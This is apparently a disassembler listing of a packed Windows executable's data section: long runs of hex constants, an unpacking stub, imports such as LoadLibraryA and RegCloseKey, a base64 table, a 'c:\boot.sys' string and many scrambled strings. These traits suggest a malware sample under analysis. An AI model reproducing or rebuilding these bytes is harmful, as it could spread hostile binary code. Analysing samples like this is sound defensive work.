		dd 6DF30CDEh, 2901C90Ch, 0A7581B0Dh, 0DB933491h, 473DDBEFh
		dd 0E944C298h, 308DF586h, 69CF0E44h, 992A2D16h,	5314E30Ch
		dd 0B8DDC075h, 60140773h, 75727E80h, 2ED21A4Eh,	398756E8h
		dd 7495D233h, 0CA0C7930h, 0C048C4B1h, 6F4DB94Dh, 167AB7F7h
		dd 58EC588Bh, 0FFE38110h, 0B8C4C0Fh, 6F750806h,	7E0C9B1Bh
		dd 4A47D103h, 0F56B1ED2h, 147EE82Dh, 0C61689B9h, 0B85A9246h
		dd 53B78FDh, 3EB1454h, 4948C8DEh, 235C1976h, 1925A75h
		dd 2A3A1058h, 366FB76Bh, 754FFC8Ch, 796683EAh, 19866680h
		dd 1B5024B6h, 3C17C252h, 17C4B618h, 3956BA02h, 1871105Dh
		dd 7D9F2BCBh, 83E34C1h,	718B08CEh, 759CDF45h, 0D375615Dh
		dd 5814D214h, 751C5938h, 6DBB5B50h, 5D1D41C1h, 804CEF8h
		dd 6A976FDFh, 1450F3CEh, 0F8550148h, 5AD2D33Bh,	0C84E476Bh
		dd 139418EBh, 0D4230CEAh, 0B6EFA5A6h, 0EBB3FFFAh, 2139D3CAh
		dd 0FDFA8F14h, 4056F61h, 16D641C6h, 50646F6h, 5BEB0CDCh
		dd 4A878AE7h, 56E48EF8h, 0E6E5C060h, 14A86C5Ah,	89AAADE1h
		dd 0DDB2AF00h, 8B2D6B77h, 0A5F33B36h, 0EB3C7C74h, 4B77EDCFh
		dd 3D743E75h, 77147255h, 29C28B02h, 0BB76E06h, 13D02BDFh
		dd 0A4EB9704h, 1BA0744Dh, 172B7610h, 4EFD686h, 3DD2F3DBh
		dd 368DB6Bh, 0CD4D9ADh,	1229CB27h, 18AB9AB4h, 202CC22Ah
		dd 86DABB48h, 37110115h, 0B54B4E86h, 0CAAAC243h, 46658714h
		dd 0BDAB1F6Fh, 59066A57h, 56FE8B14h, 10E340B8h,	0D2991B4h
		dd 0CD6ACC2Dh, 6DC4A3EEh, 156614A0h, 12B302B6h,	241E088h
		dd 50D75062h, 29C533Ch,	6FCC0CEEh, 7E8D1EFEh, 1FD06608h
		dd 465459C0h, 568AE8EBh, 7ADB8069h, 0E52ECE0Fh,	0E7BD3114h
		dd 61DD6CCh, 6820F454h,	642DD81Eh, 619DB0CFh, 6500101Dh
		dd 4036A91Ah, 0BDEE5A55h, 462D54B4h, 0FE34FD6Fh, 8CA02CB7h
		dd 0F39FF98Ch, 54D6ED6Fh, 0F9D19AB8h, 0DA75273Fh, 78EC03Eh
		dd 513C5F82h, 0D4B85393h, 37170E42h, 0BC575BABh, 721B6ABAh
		dd 87B249BEh, 3F736DFh,	0F9190B68h, 20B1FC0h, 46473C8Ch
		dd 0C800D2C4h, 0FC18888Eh, 0CB85CC8Ch, 0C68DED02h, 36B3F803h
		dd 1A24C19Ch, 61B456Ch,	1781BD63h, 27D19A3Fh, 7E4D7701h
		dd 908B4298h, 0BD40B06Fh, 830C33FBh, 0E9F714C1h, 0A8F1B6CDh
		dd 0F458853h, 3314756Eh, 7DB38447h, 4D8A7447h, 32A4170Fh
		dd 7031F620h, 0B1AE6225h, 6BED052h, 646D80B8h, 0A38109B3h
		dd 0B2701F29h, 7982FB1Dh, 0CE49E80Ch, 94BE43D1h, 5B535241h
		dd 55746A70h, 0B1B9E0A4h, 9E147E08h, 6D5BBAF8h,	0C4201CD0h
		dd 23F61122h, 2B762060h, 0D8C7E0E8h, 80180305h,	1E89EF17h
		dd 0F02F6CE5h, 8E9076C0h, 0B771FB3Bh, 247B7D1h,	8F7BE39Ah
		dd 9F8B2B54h, 97CCFD5Ah, 887880Ch, 0D83B0B02h, 351EF012h
		dd 19EA2223h, 64D42846h, 1AF54BECh, 424C22F3h, 531F8021h
		dd 735B3320h, 96830111h, 819C0885h, 1C068158h, 16D1D043h
		dd 4D99B362h, 0D4BD1E4Bh, 46464646h, 0DC94D8FCh, 46F6161Fh
		dd 0A5CBB30Dh, 0EFBD8D69h, 0C78BBF61h, 8BC54D89h, 5BBBF18h
		dd 0A25781A3h, 0EC65CC7Eh, 9411A508h, 37893DCAh, 9D6F263Eh
		dd 1A496C1Bh, 0B602EC0Fh, 0AB6831FFh, 61135B3h,	0FFF04150h
		dd 0FB6C5EF7h, 0A2278303h, 0A559F093h, 88403FBFh, 53ABB739h
		dd 0FFFFFE1Ah, 21B30833h, 249F4A8Ah, 43850A90h,	0C64657E9h
		dd 0B054212Dh, 171F99EBh, 970E016Dh, 6D3F88B2h,	1E3A3175h
		dd 898A4805h, 516CC689h, 8BF54848h, 7992FFEDh, 0BF0246E2h
		dd 30306B38h, 0EE6BD78Ah, 5063435h, 768A810Ch, 0CF0AD939h
		dd 3F3BB3Ch, 0E11C231Ch, 0FE565ADEh, 0A3AC6A05h, 933B7593h
		dd 1B3140A1h, 0B451329h, 14A30820h, 0FBAD46CEh,	234BC38Bh
		dd 3CA692C1h, 0A1367014h, 0FBC3946Ch, 42B66C2Eh, 0A1728AE7h
		dd 0DA043D8Ah, 0F6C4CD86h, 8B8AD04Bh, 6054F2h, 655CE133h
		dd 806FC34Ah, 90494C35h, 0D9884D38h, 0C7DE27B0h, 30234E06h
		dd 660F73Fh, 0F5528101h, 18363C05h, 45C72011h, 3240C362h
		dd 0F48880C0h, 0EBA21A4Ch, 8C47C7B0h, 83659159h, 1C4D6C12h
		dd 2F6D872h, 3C740F0Ah,	0DAB3C212h, 0E106B57h, 0E03CCD96h
		dd 74F8083h, 1E0E85D8h,	7B830B4Dh, 8540B94h, 8F547C0Fh
		dd 0E7931EE8h, 1BBBBE2Dh, 35750252h, 19741005h,	831247F6h
		dd 9E00BD0Bh, 5C6A1075h, 0C530087Bh, 66BBB86Ah,	758FA7F3h
		dd 539A570Ah, 163145Ah,	570228C0h, 0B2585232h, 0D0D12961h
		dd 39D37B2Ch, 7401D0C6h, 0CC868B71h, 4BEC6419h,	8D534F27h
		dd 86CBCD9Eh, 19192190h, 0EF86868Eh, 960E464Eh,	1545BCBh
		dd 0B1571375h, 56AC5D25h, 0AB04ACB6h, 5428E6E7h, 0CC057B01h
		dd 91919102h, 0DCC4C891h, 919191BCh, 0C0B4B891h, 919981D0h
		dd 0E0D8D491h, 0C9452800h, 0E200FFC8h, 9EE886EDh, 0BAE904h
		dd 235686F0h, 2170BFC2h, 0BA01FB36h, 8B0E5A4Dh,	0C6033C70h
		dd 1C8DB454h, 100641BCh, 0C2D16F00h, 0EB386ED7h, 1635EE0h
		dd 0BADD221Ah, 901426FCh, 0F17C0B17h, 7D7A4A76h, 0E87F071Dh
		dd 37FFADEh, 8A188AC2h,	751E3ACBh, 30C9841Ah, 0C01588Ah
		dd 15BB715Eh, 46905D50h, 0E2751146h, 7605A3FFh,	401B05CFh
		dd 831B4FD8h, 83022045h, 8B42A681h, 96723CC7h, 57C5FC3Bh
		dd 0BC727AB3h, 20EE4A33h, 8FF06A2Dh, 0B70F0CADh, 8DF22B00h
		dd 82D4455Dh, 630B5B8h,	0AA4EDF81h, 53FA2BDAh, 6164410Ch
		dd 0C8003170h, 13F452B5h, 0D60F0403h, 3BA5FB0Eh, 6F636F74h
		dd 1244176Ch, 0F4533019h, 42671752h, 0C16778F1h, 94D55677h
		dd 0EBC4B4Dh, 2BBEC648h, 0CA94091h, 2A02811Dh, 87F4E456h
		dd 0B0BED557h, 16387870h, 0ECF20320h, 2D0B157Ah, 8B244E75h
		dd 0FA74032Ch, 0DFA3A05Dh, 0FEC5DB0h, 3F53C320h, 220F4FFFh
		dd 6B621601h, 20510F48h, 4BD45076h, 9E9E56C1h, 2D346883h
		dd 3EA96A38h, 311A57DAh, 0F3481CA3h, 205D12B0h,	20481694h
		dd 141C85CFh, 7C8760C2h, 0EC187217h, 47A37862h,	3E50CEB3h
		dd 88895B92h, 5E2B66B5h, 1227105h, 0DE210E23h, 745FFB67h
		dd 0E91807F1h, 63BB2FA1h, 95C76F14h, 3D24053Fh,	5BF7505Ch
		dd 454400D1h, 690076h, 895C0763h, 876DDDC2h, 730B64h, 0D7AE0772h
		dd 611B9B75h
		dd 1D6D030Bh, 1B720374h, 203C5D63h, 3B558CDFh, 8DC11763h
		dd 6E651F74h, 7D179B21h, 49506DCFh, 752EDh, 0B6426F63h
		dd 6937CC0Dh, 0B3275C0Dh, 0A9119440h, 3218866Ch, 0F0D0BDB4h
		dd 2EA8685Ch, 0E25E5009h, 0DA186809h, 2153B281h, 5606D4F7h
		dd 1C4B5012h, 865A2826h, 8308E25Ah, 0F6ADDA95h,	70D85B7h
		dd 22C4AA58h, 5153944Dh, 6F3BFC68h, 9476D6EEh, 9C889820h
		dd 0B0060DC8h, 0E46206FEh, 14B43EE6h, 0E0B8142Fh, 0DB2DB6C0h
		dd 0CC288FF6h, 57D4D002h, 880C7E20h, 68E83EE6h,	79402F0Ch
		dd 0C41B2F73h, 1E241816h, 6A38568Bh, 0E21501DEh, 46FA8B1Bh
		dd 1AB859A1h, 6F0DE007h, 0B8F716D1h, 5E920920h,	70028934h
		dd 0F25E8BF5h, 4B868940h, 63547846h, 0FA22C115h, 0CEFFB894h
		dd 687447EEh, 6CA30458h, 0B8D6FF0Eh, 0F3C88648h, 4C50157Ch
		dd 0F41CEA48h, 6A53C1D0h, 0ECF329CCh, 3D736F4Dh, 96595183h
		dd 34402FF3h, 51F1F068h, 0AC4F076h, 0A012F098h,	53140D0Fh
		dd 0D97A32D4h, 12D84A06h, 301330CCh, 1D65E533h,	30E0C303h
		dd 2A345644h, 0B4C9A030h, 64FD2B02h, 1C81F50h, 53D3654Bh
		dd 4C6E6970h, 51ADEA0Ch, 1211774h, 0AEFEFB49h, 7953FEDDh
		dd 1C6F626Dh, 171A4C63h, 74520394h, 8975516Ch, 0DB6B36Ah
		dd 61074979h, 0ED925508h, 431B3173h, 0B677A895h, 565C642Bh
		dd 6DAD542Bh, 2D496450h, 0AA6B2916h, 669566FEh,	706D6F43h
		dd 7164656Ch, 1B92DB3Eh, 0F7F395h, 0C6C06342h, 5A4A68A0h
		dd 0F6B517FAh, 6E49F24Dh, 3C455D37h, 0FAA1257Eh, 2D75E85h
		dd 6B957350h, 27B3B09Fh, 6F5422BDh, 8D1B6E41h, 0E65176Bh
		dd 644DEA33h, 0B6C7BFF2h, 4D024E7Eh, 4CEC4D6Dh,	6761506Bh
		dd 0A802BAD7h, 4FE07B9Ah, 661E6662h, 585E7E03h,	17D44DB3h
		dd 421452B5h, 0CEDAA179h, 14541AAh, 0C355EE78h,	5417D9F6h
		dd 0F9137079h, 0FF955369h, 1A05186Dh, 726B736Fh, 652E6C6Eh
		dd 0D6E12E78h, 664BB536h, 7361384Bh, 73364F82h,	4113EFC9h
		dd 69757163h, 77085072h, 0DEDB42EDh, 71724973h,	3E0D48ADh
		dd 0BB336961h, 0D7B70B6h, 0A37044D4h, 41175D65h, 7C08B14Ch
		dd 0C1749551h, 6764B5DBh, 1176AD55h, 0A95B22DCh, 5074E2DAh
		dd 0CC27158Bh, 0FEA870DDh, 667542BDh, 81C819D4h, 332CE425h
		dd 0E496029h, 45725F4Bh, 6DEA8D0Ch, 63724100h, 0F685C5BDh
		dd 0BAA3D6DAh, 0EF33226Eh, 0BC2AAB36h, 0AE69B7h, 0A033011Fh
		dd 0CF6C3DE4h, 4136E55Ah, 256F4274h, 2D92B726h,	2B959980h
		dd 8DDD662Bh, 70566548h, 156D3C79h, 15876422h, 0F9751D14h
		dd 891F491Ah, 59532E0Dh, 4AC8A153h, 8901D5F1h, 2D17B618h
		dd 1E69007h, 48041930h,	14B2C95Bh, 1304C04Fh, 53C0D743h
		dd 5F9D56B4h, 0CDED4505h, 5340D034h, 5FB34FABh,	0FE788B05h
		dd 4F0B46B9h, 0FEEF04BDh, 26C36D03h, 75D452Bh, 0B4EF473Fh
		dd 19017210h, 1D733163h, 744F6C34h, 6735697Bh, 839B074Dh
		dd 0D6C61AEh, 2B660D49h, 0B1BC4023h, 34B93BAEh,	62073903h
		dd 75D064C7h, 171E751Dh, 736D2343h, 0C80D14B0h,	61812073h
		dd 7418C188h, 20AF6B61h, 0F74D339Bh, 6307D13Dh,	79206F11h
		dd 0E0C43D92h, 1407CF76h, 0DC0CC153h, 79533DF6h, 375DF34Fh
		dd 54CF9DD6h, 6E2D4B33h, 520D6C05h, 7BAE066h, 137531C3h
		dd 0E61D8DCFh, 4715119Eh, 631544CBh, 8DD74494h,	69797069h
		dd 5B1F6E2Dh, 49B6F759h, 65215168h, 89055399h, 36B901h
		dd 5881560Bh, 4B971C2Bh, 585EF32h, 0C8D8F307h, 2E373135h
		dd 0C44F0700h, 74B06665h, 6ED561B7h, 90B6EBAFh,	2F2971E7h
		dd 29671B4Ch, 0EEB1B84h, 8D79930Dh, 1021A367h, 13D9ECAEh
		dd 0EB061B20h, 15A9BA1Ah, 530BF32h, 6233092Dh, 9B8ACEC2h
		dd 3054770Ch, 6DC62F0Dh, 72C75164h, 0B38F7426h,	7D29576Fh
		dd 8D830B6Bh, 1FD5CC34h, 69934F3Eh, 66126C09h, 0EF6E2FE7h
		dd 0BAC1A461h, 5779072Eh, 75500D20h, 6C6E7C7h, 0B9425761h
		dd 0C46F643Fh, 5C48BEE8h, 750F6F1Fh, 8CA2EF43h,	3A774525h
		dd 212308BBh, 0DFE15B64h, 46CEE7DEh, 5F7553B7h,	61D2F569h
		dd 44B7C26Ch, 5D43561Fh, 56E88709h, 6D842400h, 0B6E8C27Ah
		dd 611F7315h, 0B00409A3h, 0CD90337Fh, 80A80315h, 0D034C433h
		dd 0D55BDF34h, 0EE34FFFFh, 1B350F34h, 39352A35h, 0D135A635h
		dd 0E035D735h, 6FFA32A7h, 6B36FF55h, 9B368A36h,	1099A436h
		dd 1C378A37h, 0FF384638h, 3A17FFFFh, 38C3385Fh,	38FE38E2h
		dd 39383928h, 394B3945h, 39B63965h, 39E639D3h, 0FFFF39F9h
		dd 3A39FFFFh, 3A473A40h, 3A553A4Eh, 3A633A5Ch, 3A713A6Ah
		dd 3A903A78h, 3AA83A9Fh, 3AF43AB1h, 0FFFF3B08h,	3B10FFFFh
		dd 3B763B15h, 3C0C3B7Eh, 3C8C3C72h, 3D093C9Fh, 3DB03D31h
		dd 3E3A3DB9h, 3E973E80h, 0AF8B3E9Eh, 3EBEFFFFh,	3F353F04h
		dd 3F623F4Ch, 3F7D3F6Eh, 84F93FF0h, 0FFF27B10h,	20C066FFh
		dd 11310530h, 39312A31h, 78316C31h, 98318931h, 2320C31h
		dd 23FFFFC0h, 44332B33h, 0E333C233h, 13340B33h,	29341834h
		dd 0FFDDFF8Fh, 0C13458FFh, 0FB34F334h, 29352134h, 81352E35h
		dd 0E5CB8935h, 0FD35F335h, 23361635h, 0FFF77F46h, 39363036h
		dd 58364136h, 82367C36h, 0DD36BADBh, 53384E36h,	0FFFFFF0Eh
		dd 387D38FFh, 38B13890h, 39B1393Eh, 3A223A17h, 3A683A5Eh
		dd 3AE83AC6h, 3B283B1Dh, 3B853B7Ch, 0FFFBBFB7h,	3C073BFEh
		dd 3C703C68h, 3C803C76h, 3CE7B988h, 3D5D3D50h, 453E2E34h
		dd 0FFFFFFFEh, 503E4A3Eh, 6E3E573Eh, 0CD3E783Eh, 613EDE3Eh
		dd 853F6C3Fh, 0BF3F933Fh, 0DB3FCA3Fh, 0FF3FE93Fh, 0E81EEFFFh
		dd 304CBFF4h, 30D93089h, 30F630DEh, 313A30FDh, 315B3141h
		dd 2F103164h, 3194FFF4h, 31A8319Fh, 31F231ADh, 353F31F8h
		dd 0FE1B1632h, 0C39E1ADFh, 34BA34AAh, 34D734CBh, 8D203508h
		dd 3780356Eh, 3586FE00h, 35A535A0h, 37482778h, 0EDF00076h
		dd 380E0F0Dh, 5038A72Ch, 0B7FF6838h, 0CB51BFFFh, 19391438h
		dd 26392039h, 34392C39h, 39610039h, 39853976h, 399F398Dh
		dd 0EE0B001Bh, 0CBAC39A7h, 0ED17D099h, 0FD5BFE00h, 0FA39F539h
		dd 3A4BFF39h, 3A183A10h, 0FF743A1Eh, 1937FFFFh,	3B423AB3h
		dd 3B813B73h, 3BAE3BA8h, 3BBA3BB4h, 3BC63BC0h, 3BD23BCCh
		dd 2FFF3BD8h, 3BDEFFFDh, 3BEA3BE4h, 3DA23BF0h, 3DF33DEEh
		dd 143E0FA0h, 303E213Eh, 423E353Eh, 0FFFFC006h,	563E513Eh
		dd 723E603Eh, 893E813Eh, 3D3E903Eh, 0C02B473Fh,	83F001BFh
		dd 0A629913Fh, 0C43FBC3Fh, 19FFD53Fh, 0F32D06DBh, 15DF30F3h
		dd 1F301A30h, 0F8242430h, 2930EDB7h, 0F5350030h, 65303F30h
		dd 1F306A30h, 9EC7E6h, 4931424Eh, 40601997h, 1A2FA06h
		dd 4473458Dh, 49FE73F8h, 706802ECh, 3220FB6Bh, 4B5C302Eh
		dd 809E268Bh, 5C775C17h, 120F4F0h, 64705505h, 95C4B162h
		dd 0AA4EA704h, 0D43BFE77h, 42095A6Ah, 6174536Bh, 5307472h
		dd 72476F9Ch, 0D670756Fh, 0A41780Ah, 82C11FACh,	0D7347405h
		dd 50167618h, 0D55C7643h, 205B6E73h, 0D7000D01h, 1ED709Fh
		dd 6F977EDEh, 1D00BA1Dh, 903E08F6h, 575D155Ch, 4640323Ch
		dd 0FB590660h, 2A1F4523h, 0F6338008h, 177EFF85h, 15197F18h
		dd 1E285C66h, 7CF73B46h, 0F30AA423h, 3B2480E9h,	4362FEE0h
		dd 40101CF2h, 0C131800h, 61765468h, 73C6C9BEh, 0E6A1114h
		dd 813E4810h, 1028E054h
		dd 0C2A90040h, 1448EE74h, 0E7E04C1Bh, 5660A306h, 90F54C6h
		dd 5AF736A3h, 20054910h, 9C4F4004h, 67FB6405h, 20345931h
		dd 4C9C64BDh, 0BE57F6C9h, 0C6A49C9Ch, 0A481CF25h, 0F7D068C0h
		dd 0D8799Fh, 683A6816h,	0BE0A6ABBh, 0F3482394h,	8D597FDDh
		dd 0A5F3AC7Dh, 0B84BEA4h, 0A5D87D8Dh, 0B19E7CA5h, 0F5F0C11Bh
		dd 0E80A74BEh, 76EBB76Ch, 0E4A5F847h, 0A40B6468h, 99BEACE6h
		dd 553E205Dh, 0C1692480h, 0B0016A7Bh, 14EC7457h, 35196A0Fh
		dd 9E2350Fh, 831FF89Bh,	61C94CC4h, 0E19CCD92h, 6AF8DF08h
		dd 6CD437F5h, 400544A6h, 0F80D4A9h, 0F7617385h,	0EFBCBE9Dh
		dd 96F26604h, 0F7BAFF00h, 0C64420Eh, 14EC358Bh,	6767F4FEh
		dd 1AD64630h, 47831903h, 0C2EEBF78h, 3C305204h,	1105842Ah
		dd 6159010Eh, 1E67D98Bh, 39EC6859h, 1342A20h, 0F3C868h
		dd 0AD7210FFh, 13DE1A7Ch, 0EA60385Ah, 74C3640Ah, 76E0349Fh
		dd 30AFD404h, 0EFEF112Eh, 8D047B2Ch, 0FF68D68Dh, 562898D0h
		dd 1DEFBF0Ah, 6C51204Dh, 0B55FBBh, 0C0968B59h, 962A3635h
		dd 144876A7h, 570950DDh, 2D1E04B6h, 27D8DEAh, 80EFF33h
		dd 0B45420F9h, 575DB023h, 57B01D24h, 2057359h, 0CC51h
		dd 0A0286016h, 41101B70h, 3C61019Ch, 0C4061801h, 44015C21h
		dd 80C03100h, 0BA0ABA42h, 773E9384h, 310400F9h,	0A6922030h
		dd 57908824h, 88040155h, 10B2031h, 2090E292h, 1D4010Eh
		dd 0B2C40656h, 20904C04h, 6D3EE606h, 1212F125h,	41168844h
		dd 0D25CD830h, 0B27B7DE3h, 4456460Ah, 5580B667h, 8A368510h
		dd 69C443ECh, 7301315Ch, 165F2006h, 10C54h, 0E12F20F2h
		dd 6E010F79h, 0B078D565h, 80C122A0h, 5810CE2h, 21F8DF5h
		dd 0E054840Ch, 837A744Eh, 41957ACh, 96046817h, 0B05F5059h
		dd 2EB906Ch, 206C510Ch,	7B2CFD48h, 0BC000000h, 71BFh, 1200h
		dd 0BE6000FFh, 406000h,	0B000BE8Dh, 8357FFFFh, 10EBFFCDh
		dd 90909090h, 68A9090h,	47078846h, 775DB01h, 0EE831E8Bh
		dd 72DB11FCh, 1B8EDh, 0DB010000h, 1E8B0775h, 11FCEE83h
		dd 1C011DBh, 75EF73DBh,	831E8B09h, 0DB11FCEEh, 0C931E473h
		dd 7203E883h, 8E0C10Dh,	8346068Ah, 7474FFF0h, 0DB01C589h
		dd 1E8B0775h, 11FCEE83h, 1C911DBh, 8B0775DBh, 0FCEE831Eh
		dd 0C911DB11h, 1412075h, 8B0775DBh, 0FCEE831Eh,	0C911DB11h
		dd 0EF73DB01h, 1E8B0975h, 11FCEE83h, 83E473DBh,	0FD8102C1h
		dd 0FFFFF300h, 8D01D183h, 0FD832F14h, 8A0F76FCh, 7884202h
		dd 0F7754947h, 0FFFF63E9h, 28B90FFh, 8904C283h,	4C78307h
		dd 7704E983h, 0E9CF01F1h, 0FFFFFF4Ch, 0B9F7895Eh, 11Ah
		dd 2C47078Ah, 77013CE8h, 43F80F7h, 78BF275h, 66045F8Ah
		dd 0C108E8C1h, 0C48610C0h, 0EB80F829h, 89F001E8h, 5C78307h
		dd 0D9E2D889h, 7000BE8Dh, 78B0000h, 3C74C009h, 8D045F8Bh
		dd 90003084h, 0F3010000h, 8C78350h, 905096FFh, 8A950000h
		dd 0C0084707h, 0F989DC74h, 0AEF24857h, 5496FF55h, 9000090h
		dd 890774C0h, 4C38303h,	96FFE1EBh, 9058h, 0DF61E961h, 0FFFFh
		dd 25h dup(0)
		dd 0A0700000h, 0A0500000h, 3 dup(0)
		dd 0A07D0000h, 0A0600000h, 3 dup(0)
		dd 0A08A0000h, 0A0680000h, 5 dup(0)
		dd 0A0940000h, 0A0A20000h, 0A0B20000h, 0
		dd 0A0C00000h, 0
		dd 0A0CE0000h, 0
		dd 454B0000h, 4C454E52h, 442E3233h, 41004C4Ch, 50415644h
		dd 2E323349h, 6C6C64h, 4356534Dh, 642E5452h, 6C6Ch, 64616F4Ch
		dd 7262694Ch, 41797261h, 65470000h, 6F725074h, 64644163h
		dd 73736572h, 78450000h, 72507469h, 7365636Fh, 73h, 43676552h
		dd 65736F6Ch, 79654Bh, 61720000h, 646Eh, 4Bh dup(0)
		dd 2, 0Ah
dword_446458	dd 49h							; sub_4082AB:loc_4082D9r ...
dword_44645C	dd 56306Fh	aCBoot_sys	db 'c:\boot.sys',0      ; DATA XREF: sub_40844F+27o
aRi		db 'rI',0               ; DATA XREF: sub_40844F+3Ao
byte_44646F	db 50h			; DATA XREF: sub_40844F+A6o
		dd 82707F6Dh
		db 66h,	25h, 0
byte_446477	db 4Bh			; DATA XREF: sub_40844F+B9o
		dd 48h
dword_44647C	dd 11h,	0Fh dup(0)dword_4464BC	dd 0E1F7EEA5h, 0BFFD7E2Ch, 869AE87Fh, 0CC244082h, 0D76ADDE2h
					; DATA XREF: sub_408741+10o
		dd 1B77E1E1h, 505215B0h, 0D24B6456h, 3D357C6Bh,	280E85D5h
		dd 1AB051F9h, 1E4E8744h, 0E383CCDFh, 323D4737h,	14F80518h
		dd 6E0637BFh, 8, 0Ah
dword_446504	dd 0							; .text:loc_4085D4r ...
		dd 3
dword_44650C	dd 0Eh		dword_446510	dd 0							; .text:loc_4086D3r ...
a@8wz		db ' @8WZ',0            ; DATA XREF: sub_408779+14o
dword_44651A	dd 20374Bh	word_44651E	dw 574Fh		; DATA XREF: sub_408779+77o
		db 0
word_446521	dw 30h			; DATA XREF: sub_408779:loc_40882Fr
		align 4
		dd 5, 0Ah
dword_44652C	dd 0							; .text:loc_4088DEr ...
aVlvh__0	db 'vlVh_',0            ; DATA XREF: sub_40893E+11o
		align 4
dword_446538	dd 0FFFFFFFFh			dd 2Ah dup(0FFFFFFFFh),	3Eh, 3 dup(0FFFFFFFFh),	3Fh, 34h
		dd 35h,	36h, 37h, 38h, 39h, 3Ah, 3Bh, 3Ch, 3Dh,	7 dup(0FFFFFFFFh)
		dd 0
		dd 1, 2, 3, 4, 5, 6, 7,	8, 9, 0Ah, 0Bh,	0Ch, 0Dh, 0Eh
		dd 0Fh,	10h, 11h, 12h, 13h, 14h, 15h, 16h, 17h,	18h, 19h
		dd 6 dup(0FFFFFFFFh), 1Ah, 1Bh,	1Ch, 1Dh, 1Eh, 1Fh, 20h
		dd 21h,	22h, 23h, 24h, 25h, 26h, 27h, 28h, 29h,	2Ah, 2Bh
		dd 2Ch,	2Dh, 2Eh, 2Fh, 30h, 31h, 32h, 33h, 85h dup(0FFFFFFFFh)
aHu		db ': hu',0             ; DATA XREF: sub_40893E+44o
a1bOt		db '/1~oT:',0          ; DATA XREF: sub_40893E+9Do
byte_446945	db 3 dup(0)		; DATA XREF: sub_40893E+F1o
off_446948	dd offset loc_4089D5	; DATA XREF: sub_40893E+88r
		dd offset loc_4089E8
		dd offset loc_408A13
		dd offset loc_408A4A
dword_446958	dd 7				dd 0Ah
dword_446960	dd 0							; sub_408AB9:loc_408AE8r ...
dword_446964	dd 2B5240h	word_446968	dw 41h			; DATA XREF: sub_408B4C+B8r
a99a_0		db '-; 99a',0           ; DATA XREF: sub_408B4C+14Bo
dword_446971	dd 505866h	dword_446975	dd 505E55h	asc_446979	db ';',27h,'*l & ',0    ; DATA XREF: sub_408E12+16o
aHjvmnia	db 'hJVmnIA',0          ; DATA XREF: sub_408E12+61o
aP_rX		db 'p+_R',27h,'X',0     ; DATA XREF: sub_408E12+A7o
aFxTE		db 'fX $t!E',0          ; DATA XREF: sub_408ED0+E7o
aQa		db 'qA',0               ; DATA XREF: sub_408ED0+207o
byte_44699B	db 0			; DATA XREF: sub_408ED0+31Bo
aZ_y9am4	db 'z.y9aM4',0          ; DATA XREF: sub_408ED0+63Bo
a3h		db '3h',0               ; DATA XREF: sub_408ED0+739o
aOi6		db ' oi%6',0            ; DATA XREF: sub_408ED0+827o
dword_4469AD	dd 2E3B72h	a@gduN		db '@GDu N!',0          ; DATA XREF: sub_408ED0+866o
aG_		db 'G!_`',0             ; DATA XREF: sub_408ED0+8BEo
word_4469BE	dw 4E7Fh		; DATA XREF: sub_408ED0+92Fo
		dd 307F7Ch
word_4469C4	dw 7Fh			; DATA XREF: sub_4098A8+15r
a2gtF		db '2GT<!f',0           ; DATA XREF: sub_4098A8+28o
aNjbS9		db 'NJb s9',0           ; DATA XREF: sub_4098A8+3Bo
byte_4469D4	db 0			; DATA XREF: sub_4098A8+4Eo
dword_4469D5	dd 4A7180h	a_3v		db '. 3‚',0             ; DATA XREF: sub_4098A8+6Ao
byte_4469DE	db 0			; DATA XREF: sub_4098A8+99o
aSiYy		db '<si+yY',0           ; DATA XREF: sub_4098A8+107o
byte_4469E6	db 0			; DATA XREF: sub_4098A8+1A7o
asc_4469E7	db '*/',0               ; DATA XREF: sub_4098A8+20Bo
aOcqud		db 'ocqUd',0            ; DATA XREF: sub_4098A8+367o
word_4469F0	dw 68h			; DATA XREF: sub_4098A8:loc_409C42r
word_4469F2	dw 6Dh			; DATA XREF: sub_4098A8+3F3r
dword_4469F4	dd 39572Ch	aMB7d		db 'M;$:7d',0          ; DATA XREF: sub_4098A8+54Do
dword_446A00	dd 4E314Fh	dword_446A04	dd 36307F57h			db 6Ch,	61h, 0
aUw		db 'UW|',27h,0          ; DATA XREF: sub_4098A8+833o
aP2		db '>:=  P2',0          ; DATA XREF: sub_4098A8+8D7o
dword_446A18	dd 6A2082h	aQ		db '^:$q',0             ; DATA XREF: sub_4098A8+C40o
dword_446A21	dd 384E42h	dword_446A25	dd 6C3020h	byte_446A29	db 0			; DATA XREF: sub_4098A8+D04o
word_446A2A	dw 7Eh			; DATA XREF: sub_4098A8+DB4r
aV_ngv		db 'V_Ngv+',0           ; DATA XREF: sub_4098A8+EA6o
dword_446A33	dd 3F3C45h	byte_446A37	db 0			; DATA XREF: sub_4098A8+10EDo
word_446A38	dw 4Eh			; DATA XREF: sub_40AA24+1Br
dword_446A3A	dd 4D2065h	aAg9		db ' €ƒ9',0             ; DATA XREF: sub_40AA24+1E9o
aDpuayyf	db 'DpU€yYF',0          ; DATA XREF: sub_40AA24+23Fo
aWq6ug		db 'wq6Ug',0            ; DATA XREF: sub_40AA24+24Do
aRf		db 'rf',0               ; DATA XREF: sub_40AA24+325o
word_446A54	dw 42h			; DATA XREF: sub_40AA24+364r
a16xYi_		db '16X<Yi_',0          ; DATA XREF: sub_40AA24+540o
dword_446A5E	dd 6B3377h	word_446A62	dw 3E49h		; DATA XREF: sub_40AA24+62Ao
		dd 20207F55h
		db 0
byte_446A69	db 40h,	7Ch, 0		; DATA XREF: sub_40AA24+6ADo
aAH@2du		db '€$H@2dU',0          ; DATA XREF: sub_40AA24+733o
word_446A74	dw 26h			; DATA XREF: sub_40AA24+759r
word_446A76	dw 5A42h		; DATA XREF: sub_40AA24+78Co
		db 0
byte_446A79	db 80h,	40h, 0		; DATA XREF: sub_40AA24+862o
dword_446A7C	dd 2F206Dh	dword_446A80	dd 23302Fh	aPB6		db 'p|b6',0             ; DATA XREF: sub_40B2CA+E8o
off_446A89	dd offset byte_444E5F	; DATA XREF: sub_40B3E8+188r
aAhAq		db ' *€h&€q',0          ; DATA XREF: sub_40B3E8+304o
aGjvry		db 'gjVRy',0            ; DATA XREF: sub_40B3E8+327o
dword_446A9B	dd 387547h	byte_446A9F	db 72h			; DATA XREF: sub_40B3E8+486o
		db 20h,	0
dword_446AA2	dd 20762Bh	word_446AA6	dw 773Bh		; DATA XREF: sub_40B3E8+68Bo
		db 0
word_446AA9	dw 2Dh			; DATA XREF: sub_40B3E8+724r
byte_446AAB	db 2Bh			; DATA XREF: sub_40B3E8+7B8o
		dd 7F4A5Eh
